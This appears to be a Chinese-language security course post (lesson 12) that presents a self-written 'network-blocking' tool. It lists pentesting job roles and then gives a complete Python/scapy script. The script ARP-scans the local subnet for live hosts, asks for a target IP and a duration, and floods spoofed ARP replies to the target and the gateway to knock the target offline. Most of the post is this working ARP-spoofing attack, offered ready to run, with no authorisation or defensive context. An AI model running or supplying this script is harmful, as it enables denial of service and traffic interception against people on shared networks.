T3SEC —–第十二讲:阻网小军刀
{% meting "2111364820" "tencent" "playlist" "theme:#FF4081" "mode:circulation" "mutex:true" "listmaxheight:200px" "preload:auto" "autoplay" %}
实战自编阻网小军刀/木马/蠕虫
岗位:
- 等保测评-网络安全,系统安全,web渗透工具.对数据库,网络等的渗透攻防
- 安全运维-网络系统维护,保护防止黑客攻击. 网络安全,系统安全 web渗透,渗透实战
- 渗透测试-模拟黑客攻击,挖掘漏洞,隐患 并提出意见.web安全编程,web渗透,渗透实战,python黑帽子
- 攻防工程师-黑帽子,白帽子.网络安全 ,系统安全,web安全,web渗透,黑白帽子
本案例涉及知识及技能:
- 网络技术
- 内网渗透
- 数据包和头部定义
- 实用编程语言-python
适合人群:
- python基本语法
- 操作系统命令
- 网络基本认知/二层/三层概念
#实现思路:攻击网络中的指定ip实现断网-ARP
#原理:通过扫描当前攻击机的ip地址得到内网的所有ip所在网关
#选择需要攻击的ip,组成ARP数据包,对王馆内的主机先发起ping,有主机存活
#获得存活列表.选择需要攻击的ip,发起攻击
#步骤:
#1:获得当前ip及网关 route print
#2:封装ARP数据包以以太网的包结构形式来发起ping操作,得到存活主机列表
#3:得到存活主机列表
#4:选择攻击或阻网的ip
#5:ARP攻击 (封包/发包)-->> 代理,抓包
#6:设置攻击时长
import os
import time
from scapy.all import *
# pip install scapy
def scan2spoof():
netcard = 'Realtek PCIe GBE Family Controller'#攻击的网卡
cmdcode = "route print"
#执行cmd命令,获得当前主机ip和网关
for line in os.popen(cmdcode):
#通过line获得ipv4和网关
s = line.strip()
if s.startswith('0.0.0.0'):
iplist = s.split()
ip = iplist[3]#当前ip
gw = iplist[2]#网关
# print(ip)
# print(gw)
break
print("使用的网卡是:{}".format(netcard))
print("本机的上网ip是:{}".format(ip))
print("本机的上网网关:{}".format(gw))
#封装一个ARP的数据包,符合以太网的包定义
arppk = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=gw+"/24")
ansip,unansip = srp(arppk,iface=netcard,timeout=2,verbose=0)
print("扫描到{}台在线主机".format(len(ansip)))
print("扫描到{}台不在线主机".format(len(unansip)))
ansresip=[]
for s,r in ansip:
ansresip.append([r.psrc,r.hwsrc])#ip,mac
ansresip.sort()#去重排序
for ip,mac in ansresip:
print(ip,"------>",mac)
#代理/抓包
#阻断网络
vip=input("请输入需要攻击的ip:")
ttl=int(input("请输入需要攻击的时间(秒):"))
#以下实现arp攻击即可
for i in range(ttl*5):
sendp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=vip,psrc=gw),verbose=0)
sendp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=gw,psrc=vip),verbose=0)
time.sleep(0.2)
print("对{}的ARP攻击完成".format(vip))
if __name__ =='__main__':
scan2spoof()
Q.E.D.